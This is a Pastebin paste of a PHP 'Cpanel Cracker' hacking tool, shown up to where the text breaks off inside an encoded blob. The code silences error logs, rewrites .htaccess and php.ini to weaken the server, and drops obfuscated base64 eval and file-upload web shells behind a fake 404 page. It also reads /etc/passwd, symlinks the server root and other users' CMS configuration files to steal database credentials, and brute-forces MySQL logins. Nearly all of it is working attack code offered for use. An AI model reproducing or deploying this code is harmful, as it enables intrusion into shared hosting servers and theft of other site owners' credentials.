API tools faq
paste
Keceabizs

Cpanel Crack (Keceabizs)

Keceabizs
Nov 12th, 2016
78
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 57.05 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @ini_set('error_log',NULL);
  5. @ini_set('log_errors',0);
  6. @ini_set('max_execution_time',0);
  7. @ini_set('display_errors', 0);
  8. @ini_set('output_buffering',0);
  9. @set_time_limit(0);
  10. @set_magic_quotes_runtime(0);
  11. ?>
  12. <html>
  13. <title>Cpanel Cracker by Zakir Dot ID</title>
  14. <body>
  15. <STYLE>textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 10px;font-family: Tahoma; border: 1px solid #000000;}
  16. input{FONT-WEIGHT:normal;background-color: #105700;font-size: 10px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20 }
  17. body { font-family: Tahoma}
  18. .x-inj { font-family: Vivaldi}
  19. tr { BORDER: dashed 1px #333; color: #00ff; }
  20. td { BORDER: dashed 1px #333; color: #00ff; }
  21. .table1 { BORDER: 0px Black; BACKGROUND-COLOR: Black; color: #00ff; }
  22. .td1 { BORDER: 0px; BORDER-COLOR: #333333; font: 8pt Verdana; color: #00ff00; }
  23. .tr1 { BORDER: 0px; BORDER-COLOR: #333333; color: #00ff; }
  24. table { BORDER: dashed 1px #333; BORDER-COLOR: #333333; BACKGROUND-COLOR: Black; color: #00ff; }
  25. input { border: dashed 1px; border-color: #333; BACKGROUND-COLOR: Black; font: 8pt Verdana; color: #00ff; }
  26. select { BORDER-RIGHT:  Black 1px solid; BORDER-TOP:    #00ff 1px solid; BORDER-LEFT:   #00ff 1px solid; BORDER-BOTTOM: Black 1px solid; BORDER-color: #00ff; BACKGROUND-COLOR: Black; font: pt Verdana; color: #00ff; }
  27. submit { BORDER:  buttonhighlight 2px outset; BACKGROUND-COLOR: Black; width: 30%; color: #00ff; }
  28. textarea { border: dashed 1px #333; BACKGROUND-COLOR: Black; font: Fixedsys bold; color: #999; }
  29. BODY {  SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #00ff; SCROLLBAR-SHADOW-color: #00ff; SCROLLBAR-3DLIGHT-color: #00ff; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #00ff; SCROLLBAR-DARKSHADOW-color: #00ff margin: 1px; color: #00ff00; background-color: Black; }
  30. .main { margin: -287px 0px 0px -490px; BORDER: dashed 1px #333; BORDER-COLOR: #333333; }
  31. .tt { background-color: Black; }
  32. A:link { COLOR: White; TEXT-DECORATION: none }
  33. A:visited { COLOR: White; TEXT-DECORATION: none }
  34. A:hover { color: #00ff00; TEXT-DECORATION: none }
  35. A:active { color: #00ff00; TEXT-DECORATION: none }
  36. </STYLE>
  37.  
  38.  
  39. <?php
  40. @ini_set('display_errors', 0);
  41. @ini_set('output_buffering',0);
  42. echo "<center>
  43.  
  44. <b><font color='#00ff00' class='x-inj' size='5'>Cpanel Cracker </font><br><br><br></b><b>
  45. <font size='3'>
  46. || <a href='?do=uploader'>./Uploader</a> | <a href='?do=config'>./Config</a> | <a href='?do=bhconfig'>./B-F Config Cpanel</a> | <a href='?do=brute'>./Cpanel BruteForce</a> ||</b><br><br><br></center></font><br> ";
  47.  
  48. if(isset($_REQUEST['do'])){
  49. switch ($_REQUEST['do']){
  50. ################php info
  51. case 'bhconfig';
  52. echo "<center/><br/><b><font color=#00ff00>+--==[ B-F Config ]==--+</font></b><br><br>";
  53.   mkdir('bconfig', 0755);
  54.     chdir('bconfig');
  55.         $akses = ".htaccess";
  56.         $buka_lah = "$akses";
  57.         $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  58.         $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  59. AddType application/x-httpd-php .cpc
  60. ";
  61.         fwrite ( $buka , $metin ) ;
  62.         fclose ($buka);
  63. $confshell = 'PD9waHAgLyogfHwgSWRlYSA6OiBNci5BbHNhM2VrIHx8IFByb2dyYW1taW5nIDo6IEctQiB8fCBEZXNpZ25lciA6OiBBbC1Td2lzcmUgfHwgKi8kT09PMDAwMDAwPXVybGRlY29kZSgnJTY2JTY3JTM2JTczJTYyJTY1JTY4JTcwJTcyJTYxJTM0JTYzJTZmJTVmJTc0JTZlJTY0Jyk7JE9PTzAwMDBPMD0kT09PMDAwMDAwezR9LiRPT08wMDAwMDB7OX0uJE9PTzAwMDAwMHszfS4kT09PMDAwMDAwezV9OyRPT08wMDAwTzAuPSRPT08wMDAwMDB7Mn0uJE9PTzAwMDAwMHsxMH0uJE9PTzAwMDAwMHsxM30uJE9PTzAwMDAwMHsxNn07JE9PTzAwMDBPMC49JE9PTzAwMDBPMHszfS4kT09PMDAwMDAwezExfS4kT09PMDAwMDAwezEyfS4kT09PMDAwME8wezd9LiRPT08wMDAwMDB7NX07JE9PTzAwME8wMD0kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwMDB7N30uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezE1fTskTzBPMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxfS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTR9OyRPME8wMDBPME89JE8wTzAwME8wMC4kT09PMDAwMDAwezExfTskTzBPMDAwTzAwPSRPME8wMDBPMDAuJE9PTzAwMDAwMHszfTskTzBPMDBPTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7OX0uJE9PTzAwMDAwMHsxNn07JE9PTzAwMDAwTz0kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7MTR9LiRPT08wMDAwMDB7OH0uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fTskT09PME8wTzAwPV9fRklMRV9fOyRPTzAwTzAwMDA9MHgxMDdjO2V2YWwoJE9PTzAwMDBPMCgnSkU4d01EQlBNRTh3TUQwa1QwOVBNREF3VHpBd0tDUlBUMDh3VHpCUE1EQXNKM0ppSnlrN0pFOHdUekF3VDA4d01DZ2tUekF3TUU4d1R6QXdMREI0TkdNMEtUc2tUMDh3TUU4d01FOHdQU1JQVDA4d01EQXdUekFvSkU5UFR6QXdNREF3VHlna1R6QlBNREJQVHpBd0tDUlBNREF3VHpCUE1EQXNNSGd4TjJNcExDZEZiblJsY25sdmRYZHJhRkpJV1V0T1YwOVZWRUZoUW1KRFkwUmtSbVpIWjBscFNtcE1iRTF0VUhCUmNWTnpWblpZZUZwNk1ERXlNelExTmpjNE9Tc3ZQU2NzSjBGQ1EwUkZSa2RJU1VwTFRFMU9UMUJSVWxOVVZWWlhXRmxhWVdKalpHVm1aMmhwYW10c2JXNXZjSEZ5YzNSMWRuZDRlWG93TVRJek5EVTJOemc1S3k4bktTazdaWFpoYkNna1QwOHdNRTh3TUU4d0tUcz0nKSk7cmV0dXJuOz8+fkRrcjlOSGVuTkhlbk5IZTF6ZnVrZ0ZNYVhkb3lqY1VJbWIxOW9VQXh5YjE4bVJ0d213SjRMVDA5TkhyOFhUekVYUkp3bXdKWExUMDlOSGVFWEhyOFhodE9OVDA4WEhlRVhIcjhQa3I4WFR6RVhUMDhYSHRJTFR6RVhIcjhYVHpFWFJ0T05UekVYVHpFWEhlRXBSdGZ5ZG1PbEZtbHZmYmZxRHlrd0JBc0thMDlhYXJ5aVdNa2VDME9MT01jdWMwbHBVTXBIZHIxc0F1bk9GYVl6YW1jQ0d5cDZIZXJaSHpXMVlqRjRLVVN2TlVGU2sweXRXME95T0xmd1VBcFJUcjFLVDFuT0FsWUFhYWNiQnlsRENCa2pjb2FNYzJpcERNc1NkQjV2RnV5WkYzTzFmbWY0R2JQWEhUd3pZZUEyWXpJNWhaOG1oVUxwSzJjamRvOXpjVUlMVHpFWEhyOFhUekVYaFRzbGZNeVNodE9OVHpFWFR6RVhUekVwS1g9PXRtWWxmeTkwREIxbGIyeHBkQmwwaGVFcEtYcGxGbWt2Rmw5WmNibnZGbU9wZE1GUEh0TDd0TWxNaG9sekYyYTBodE9nQXI5VGF5U21mYmtTazEwcGhiU2hrdWFaZHRFOXd0T2dBcjlUYXlTbWZia1NrMTA3dG0xbGR1WWxHWFBMZmJrU3dlMElrMmkwZnVFNlJaOTNmM0ZWa3pTaGdXcGxDMml2d3RGOHdBT05XMU9jQXJBSVV5T1lUZTRoTm9pMGRCWCt0anhQY0J5TE5JUDhmb2wwZG9BK1dKMW93cll2ZE1jcGMxOWpBb3lWY0JYOFIzT3Bmb3hsTklQOEYzTzVkb0FJZnVsWGNUMEpmb2E0ZnQ5akYzSEpOSVBoQ005TEdiU2h3dEVJZEJ5WmMybFZ3ZVBJQ2JhMGR6U2h3dEVJQ015akQyZlpkM2FWY3QxamQyeHZGalBqY2pjTVlNQzJLWFBJd3RuamQyeHZGalBJd3pIektUTDVLVFNod3RFSWNNOVZmdDFNQ0IxcGR1TDZ3dU9pRG85c0NVWEljMmFWY2JjaVJ0blNmQllwY29yU2R1YWpEQk9pd29mWkNCNUxjVVhJQ2JrcENCWFN3b2lsZHVjbGZvbGpDVVhJRjJ5VkZaMXpjYmtwY2pTaHd0RUljTTlWZnQxTUNCMXBkdUw2d2VyMEZ1STd0SkVJd3VPbEd1V3NDQnhwYzI0NndvWWxkbU9sRmpTaHd0RUl3b2N2ZG1Xc2YyYXBjMmkwS0puSmQyeEx3ZVNoZ1dQaERCNVhmYldTZm9hNGZveVpjQnJTRjJhU2NCWTBHWHBNZDI1MFJiZmxEQmZQZmVQSUNNOVNjZVNoQzI5U2QzdzZ3dEhYSGVFWEhlRTd0TWt2Rk1PbEZqUElIYm40d3VZdmRvbEx3dFllVzBZZVcwSDd0TWtpQzJzbUZNOTFkTVdzQzI5U2QzdzZ3dWZQRGJPbEtYcFhDQk9MREI1bUtKRXpGdUk3dE1rdkZNT2xGSjFaQ0JPcGZiSDZ3ZWZYR2VTaGdXUGhEQjVYZmJXNmNNOWpmYlk3dElQSUNNOTRSYllQQ0JPdmZ6UElIdW40d2VuWEd0RTFGdUlJd3pFWEtBQzVPalNodG0waHcyY3ZkM09sRkpFSUdYUGhDMjlTZDN3Nnd0SFhIZUVYSGVFN3RNY3ZkbVdzY015c0RCeDVLSkV4WXVuNEtYcDBjYmkwUmJZUENCT3ZmelBJSHVuNHdlblhHdEV4RnVJSXd6RVhIZUVYSGVTaGNNOVZmdDEzY0JsbUR1VzZ3bzV2Rk0xaWRlU2hnV3BpR1hQSXd1T2xHdVdzY29hamQza2lmb2x2ZGpQSWRNOVZjVFNod3RuamQyeHZGalBqSHpIekh6SHpLWHA5dGpYdkYzTzVkb0ErdGpYdkRvYWljZTRoTm9rdmN1TCt0anhMRGJDSURCVzl3bU92ZDJYSk5JUDhVZXJJRjNPNWRvQTl3TVl2ZG85WktKRWpZZVcwWWVXMEtabjBjYmkwUmJZUENCT3ZmelBJSHVuNHdlblhHdEV4RnVJSXd6RVhIZUVYSHR3N2ZvYTRmdDFpZG9sbWRqUElDMmFWZm9hWkt6NXRSQUNJVzI5VmNNbG1iMllXQ0I1bGRlWHZVZXIrdGp4TWQza3N3bzFsZm9pdmNlMEpBcjlUYXR3K3RqeHBkbW4xZnRuVkNCMWxOVWsxRk1YSnd1TzVGb0E5d21PbEd1V0p3dWNpZHVhbE5Vd21SSk8xRk1YVmtad0lGMmw2Y1QwSlllRUp3dDgrdGp4cGRtbjFmdG4wR2JubE5Va3pmQmtzRGJXSnd1Y2lkdWFsTlVrVGZveVpmdEUrd0pFdk5JUDhSMmN2Rk0wK05va1p3dDgrTm9rWnd0OCtrelNoREJDUERiWXpjYldQa3k5V1QxWUFCWmYxRk1YbWJVTHBHWHBwY0pJaWNNbFNjYTltY2JPZ0MyOVZmb2FWZnVIUGt1YVpkdExwR1hwbEMyaXZ3dGZ5Rm1rdkZKNElVQjUyQ0J4cGN0bmFBTFhWa3pTaGdCYVNGMmE3dEpPaXdlMElIZVNoY005WmNCeWpEdGltY2JPZ2NveTBDVUlMZmJrU2hVbmlGWkVMREI1TWRabDd0TWxNaG94dmMybFZodE9wZE1jdkJ6bmZSdE9wZE1jdkJ6eWZoVWw3dE1hakRvOEl3anhKd3VZMEdCeGxOVUZJQzI5U2QzdzZ3dEg0SGVJWEtlRUlLWm4wY2JpMFJiWVBDQk92ZnpQWEZ1SUlIdW40d2V5WEd0RWpLZUU0SGVJWHdlU21ObFNxYlVuYUYyYVpkTXlzY1VFTXd5bmlGM1kzZDNrTHdlUDhSMncrd3RFOENKbnpmdWxTY1QwbXdvWXZkbzlaS0pFakhlRVhIcmNvd2VTSWZvYTRmdDF6RG95TGQzRjZIdW40d2VuWEd0RXhGdUlJd3pFWEhlbm9PSkU3a3o1ZGtvbFZjTTlkSHkxZk50OUpOSkU4Q0puemZ1bFNjVDBtd29ZdmRvOVpLSkVqVzBIWEhlRVhLWm4wY2JpMFJiWVBDQk92ZnpQWEZ1SUlIdW40d2V5WEd0RWpXMEhYSGVFWEtaRitCWk9wZE1jdkJ6eWZiVFh2Q2o0OENtd0lSejRKS1hQTENVU3FLWHA5dG0waGNCWVBkWkVKTm93SUYzTzVkb0E5a1puamQyeHZGalBJd3pJWEtlRTRIdEU3d3VPbEd1V3NGMmlpY285M0tqblhHdEVYRnVJSUhibjR3dEg0SGVJWEtlRUlLWkYrTm9pWk5KT2l3cllYQ0I1bGR0bm9kM2FWY29hTFJqeEpGSkV2Tkp3N3RtMGhnV3BsQzJpdnd0RjhDbXdJUno0OENtd0lSejQ4Q213SVJ6NDhDbXdJUno0OGNvbDJ3b2xMTlVrTWQyOTBjYndKTm14OHdybExjQnJJS2pQSVRid1ZXQnh6Q1RZbERabjhndG5XRk05bUZNeXNkQmxWY1pFNktKbnVSQXdJZ3VYSU9vYXpEQmZWY2J3SUtqUElXQlhzQTNmcEYza2x3dXg4d2VYdmNvbDJOSVA4UjJPcGZqNDhSMmt2Y3VMK3RqWHZEdU9zZGU0bUtYcE1mQjVqZm9sdmRKbmxHdElMQ1VYTENKWExmb2E0ZnRsN3RKT2xHdW5TZDJPbHdlMEljYmlYZG85TGNVSUxDVVhMZm9hNGZ0TDd0Sk9sR3VuU2QyT2x3ZTBJY2JpWGRvOUxjVUlMQ0pYTGNiaVhkbzlMY2FTeGJVTDd0bWtsZnVhWmRKRUxjYmlYZG85TGNhU1hiVFNoZ1dwTWZCNWpmb2x2ZEpuU2QyZnBkSklMZmJZbEZKWExGb3l6RlpsN3RKT2p3ZTBJV28xNUYzeVNiMll2ZE01bEMzV1BrMnh2QzJ5U0RvOXpmdEZTa3VhemNid1NrdW5pRjNIcEtYcHBjSklMQ1psN3RNMTVGM3lTYjJZU2QzWWxodE9qaFRTaEZNYTBmYmtWd3VPWmZCQTd0bTFsZHVZbEdYcFpjYk8xRk00SWNNeVNGMkE3dG0waGdXcE1mQjVqZm9sdmRKbm1jYk9nY295MENVSUxmYmtTaGJTaGtveVp3ZTBJQ2JrWkNiTFBrenJWZnVpMGtaWG1ISjUwR3VXbVJ0RnpSbU80ZnRGU2t6V1ZmdWkwa1pYbVlVNTBHdVdtUnRGMlJtTzRmdEZTa3pGVmZ1aTBrWlhtS3Q1MEd1V21SdEY1Um1PNGZ0RlNrekVWZnVpMGtaTDd0Sk96Rk1ISU5Vbk1EQnhsYjJmbGZ5OWpkMjUwY0I1MEZaSUxmYmtTaFRTaGtvY3Bkb2F6d2UwSWNiaVhkbzlMY1VJbU5vcklEdWtsY2owSmtaWExGM2tqaFRTaGtvT2lmb3JJTlVuaUZta2lHVUlwS1hwTWQza2xDQllQaHRPTURCeGxGWm5pRlpFTERCVzlOSk9NREJ4bGhiU2hEQkNQa29sTHdlMDl3ZUVwR1hwamQyNTBEQjUxY1RTaGdXUExjTWxTY1VFOXdvYTRGb3h2Y29BUGtadytrWlhMY01sU2NVTDd0Sk9NREJ4bHdlMElmdWtwZFVJTGNNbFNjYVNYYlVMN3RNbE1odHlsRk1hbURVSW1SbU80ZnRGU2tvY3Bkb0FwaGJTaEMyOVZmb2xWZkJBN3RtMGhrdVlaQ1pFOXdvY3Bkb2FnYzJhMGIyWXZkbU9sZG1Pemh0d0xmYmtTUlpPTURCeGx3Skw3dE1sTWh0ckxGM2tqaGJTaEMyOVZmb2xWZkJBN3RtMGhrdWF6Y2J3SU5VbnpmdWtnRk1hWGRveWpjVUlMQ2J3U2taRlNrb2NwZG9BcEtYUExmYllsRkpFOXd1WTBGbDlaY2JuU0NCWWxodE9pRkpYbWtaWExmYllsRko0bVJtTzRmdEZwS1hQTGZiWWxGSkU5d3VZMEZsOVpjYm5TQ0JZbGh0T2lGSlhta1pYTGZiWWxGSjRtUm1PNGZ0RnBLWFBMZmJZbEZKRTl3dU9aREIwUEYzT1piM2tsRm94aUMyQVBrWjUwR3VXbVJ0Rm1SdE8xRjJhWmhVTDd0TWxNaG9hWmNCZnBodGtiZDNrTEF1a2xGM0hKUnRPekZNSHBoYlNoa3VuaUYzSElOVW5sR3RJSmNvYU1EQjVsaHRmcldsOVdXYVlUYTA5VU90RlN3dEZKUnR3bWhUU0pSdE96Rk1IcEtYUExjb3kwQ2FzZndlMElDYmtaQ2JMUGt1YXpjYndTa3VuaUYzSHBLWHA5Y0J4emNiU2hrdU92RDJhVkZaRTl3dU92RDJhVmIyZmxmeTlpZG9YUGt1WVpDWkw3dE1jdkZNYWlDMklQa3VPdkQyYVZGWm5pRlpFTGZvOXFjQjRwR1hwcGNKSWlrdU92RDJhVkJ6eWZoYlNoQzI5VmZvbFZmQkE3dG0waGt1T3ZEMmFWZE15c2NVRTl3dU92RDJhVmIyNWlkQkFQa3VPdkQyYVZCem5maFRTaERCQ1BrdU92RDJhVmRNeXNjVUVpTlVFbWF5OUJXYWtrV0FrSE9VRnBHWHBqZDI1MERCNTFjVFNoZ1dQTGZNeVp3ZTBJa3VPdkQyYVZCenlmS1hwcGNKaWxGTWFtRFVJbUZveXpGWkZTa3VjaUZKTHBHWFBMY0pFOXd1WTBGbDlaY2JuU0NCWWxodEZJa1pYbWtaeGxHdElMZk15WlJ0RjdrWlhMRjNramhVTDd0Sk9pd2UwSWZ1a3BkVWlsR3RJSk5VRkpSdHdtd0pYTGNKTHBLWFBMQ0pFOXd1T1pEQjBQY2JJUGtad21SdEZKa1pYTGNKTHBLWHBwY0pJTENVRWlOVUVta1psN3RKT1hDYll6d2UwSWtvcjd0bTFsZHVZbERCQ1Brb3dJd1QwSWtaRnBHWFBMRm95ekZaRTl3dE9KS1hwOXRNbE1odE9YQ2JZendlMDl3dEZtaGJTaEMyOVZmb2xWZkJBN3RtMGhrb09pZm95ZGJVRTl3b3laRk15NWh0TzFGMmFaUnRPWENiWXpoVFNoZ1dwOXRtMGhnV3BaY2JPMUZNNElrb09pZm9yN3RtMGhLWD09YWxWblJQSXE=';
  64. $file = fopen("bhc.php" ,"w+");
  65. $write = fwrite ($file ,base64_decode($confshell));
  66. fclose($file);
  67.     chmod("bhc.php", 0644);
  68. $indexshell = fopen("index.php" ,"w+");
  69. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  70. $tulis = fwrite( $indexshell, base64_decode($data));
  71. fclose($indexshell);
  72.    echo "<iframe src=bconfig/bhc.php width=97% height=100% frameborder=0></iframe>";
  73. break;
  74.  
  75. ################CMS DETECTOR
  76. case 'config';
  77. $byphp = "safe_mode = Off
  78.         disable_functions = None
  79.         ";
  80. file_put_contents("php.ini",$byphp);
  81.  
  82. echo '<CENTER><b>+--=[ Config priv8 ]=--+</b><br><br>';
  83. ?>
  84.  
  85. <bR><form method=post>
  86.     <textarea rows=20 cols=85 name=user><?php  $users=file("/etc/passwd");
  87. foreach($users as $user)
  88. {
  89. $str=explode(":",$user);
  90. echo $str[0]."\n";
  91. }
  92.  
  93. ?></textarea><br>
  94.     <input type=submit name=su value="Lets Start" /></form></CENTER>
  95.     <?php
  96.     error_reporting(0);
  97.     echo "<font color=#00ff size=2 face=\"comic sans ms\">";
  98.     if(isset($_POST['su']))
  99.     {
  100.     mkdir('Inject',0777);
  101. $rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  102. $g = fopen('Inject/.htaccess','w');
  103. fwrite($g,$rr);
  104. $indishell = symlink("/","Inject/root");
  105.             $rt="<a href=Inject/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
  106.         echo "Please check link given below for / folder symlink <br><u>$rt</u>";
  107.  
  108.         $dir=mkdir('INJECTION',0777);
  109.         $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  110.         $f = fopen('INJECTION/.htaccess','w');
  111.  
  112.         fwrite($f,$r);
  113.         $consym="<a href=INJECTION/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
  114.         echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  115.  
  116.             $usr=explode("\n",$_POST['user']);
  117.         $configuration=array("wp-config.php",
  118.         "wordpress/wp-config.php",
  119.         "web/wp-config.php",
  120.         "wp/wp-config.php",
  121.         "press/wp-config.php",
  122.         "wordpress/beta/wp-config.php",
  123.         "news/wp-config.php",
  124.         "new/wp-config.php",
  125.         "blogs/wp-config.php",
  126.         "home/wp-config.php",
  127.         "blog/wp-config.php",
  128.         "protal/wp-config.php",
  129.         "site/wp-config.php",
  130.         "main/wp-config.php",
  131.         "test/wp-config.php",
  132.         "wp/beta/wp-config.php",
  133.         "beta/wp-config.php",
  134.         "joomla/configuration.php",
  135.         "protal/configuration.php",
  136.         "joo/configuration.php",
  137.         "cms/configuration.php",
  138.         "site/configuration.php",
  139.         "main/configuration.php",
  140.         "news/configuration.php",
  141.         "new/configuration.php",
  142.         "home/configuration.php",
  143.         "configuration.php",
  144.         "SSI.php",
  145.         "forum/SSI.php",
  146.         "forum/inc/config.php",
  147.         "forum/includes/config.php",
  148.         "upload/includes/config.php",
  149.         "cc/includes/config.php",
  150.         "vb/includes/config.php",
  151.         "vb3/includes/config.php",
  152.         "cpanel/configuration.php",
  153.         "panel/configuration.php",
  154.         "ubmitticket.php",
  155.         "manage/configuration.php",
  156.         "myshop/configuration.php",
  157.         "beta/configuration.php",
  158.         "includes/config.php",
  159.         "lib/config.php",
  160.         "conf_global.php",
  161.         "inc/config.php",
  162.         "incl/config.php",
  163.         "include/db.php",
  164.         "include/config.php",
  165.         "includes/functions.php",
  166.         "includes/dist-configure.php",
  167.         "connect.php",
  168.         "mk_conf.php",
  169.         "config/koneksi.php",
  170.         "system/sistem.php",
  171.         "config.php",
  172.         "Settings.php",
  173.         "settings.php",
  174.         "sites/default/settings.php",
  175.         "smf/Settings.php",
  176.         "forum/Settings.php",
  177.         "forums/Settings.php",
  178.         "host/configuration.php",
  179.         "hosting/configuration.php",
  180.         "hosts/configuration.php",
  181.         "zencart/includes/dist-configure.php",
  182.         "shop/includes/dist-configure.php",
  183.         "whm/configuration.php",
  184.         "whmc/configuration.php",
  185.         "whmcs/configuration.php",
  186.         "whmc/WHM/configuration.php",
  187.         "whm/WHMCS/configuration.php",
  188.         "whm/whmcs/configuration.php",
  189.         "order/configuration.php",
  190.         "support/configuration.php",
  191.         "supports/configuration.php",
  192.         "oscommerce/includes/configure.php",
  193.         "oscommerces/includes/configure.php",
  194.         "shopping/includes/configure.php",
  195.         "sale/includes/configure.php",
  196.         "config.inc.php",
  197.         "amember/config.inc.php",
  198.         "clients/configuration.php",
  199.         "client/configuration.php",
  200.         "clientes/configuration.php",
  201.         "cliente/configuration.php",
  202.         "clientsupport/configuration.php",
  203.         "billing/configuration.php",
  204.         "billings/configuration.php",
  205.         "admin/conf.php",
  206.         "admin/config.php");
  207.         foreach($usr as $uss )
  208.         {
  209.             $us=trim($uss);
  210.  
  211.             foreach($configuration as $c)
  212.             {
  213.              $rs="/home/".$us."/public_html/".$c;
  214.              $r="INJECTION/".$us." .. ".$c;
  215.              symlink($rs,$r);
  216.  
  217.         }
  218.  
  219.             }
  220.  
  221.  
  222.         }
  223. break;
  224. ///////////////////////////////////
  225. case'file';
  226.  
  227.  
  228. break;
  229. ###################################
  230.  
  231. case 'brute';?>
  232. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  233. <?php
  234. /*
  235. Recoded By Group XP
  236. */
  237. @set_time_limit(0);
  238. @error_reporting(0);
  239.  
  240.  
  241. if($_POST['page']=='find')
  242. {
  243. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  244. {
  245.     if($_POST['type'] == 'passwd'){
  246.         $e = explode("\n",$_POST['usernames']);
  247.         foreach($e as $value){
  248.         $k = explode(":",$value);
  249.         $username .= $k['0']." ";
  250.         }
  251.     }elseif($_POST['type'] == 'simple'){
  252.         $username = str_replace("\n",' ',$_POST['usernames']);
  253.     }
  254.     $a1 = explode(" ",$username);
  255.     $a2 = explode("\n",$_POST['passwords']);
  256.     $id2 = count($a2);
  257.     $ok = 0;
  258.     foreach($a1 as $user )
  259.     {
  260.         if($user !== '')
  261.         {
  262.         $user=trim($user);
  263.          for($i=0;$i<=$id2;$i++)
  264.          {
  265.             $pass = trim($a2[$i]);
  266.             if(@mysql_connect('localhost',$user,$pass))
  267.             {
  268.                 echo "Group XP ~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  269.                 $ok++;
  270.             }
  271.          }
  272.         }
  273.     }
  274.     echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by Group XP</b>";
  275.     echo "<center><b><a href=".$_SERVER['PHP_SELF']."><< BACK</a>";
  276.     exit;
  277. }
  278. }
  279. if($_POST['pass']=='password'){
  280. @error_reporting(0);
  281. $i = getenv('REMOTE_ADDR');
  282. $d = date('D, M jS, Y H:i',time());
  283. $h = $_SERVER['HTTP_HOST'];
  284. $dir=$_SERVER['PHP_SELF'];
  285. $back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
  286. $file = fopen(".php","w+");
  287. $write = fwrite ($file ,base64_decode($back));
  288. fclose($file);
  289. chmod(".php",0755);
  290. mkdir('config',0755);
  291. $cp =
  292. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZ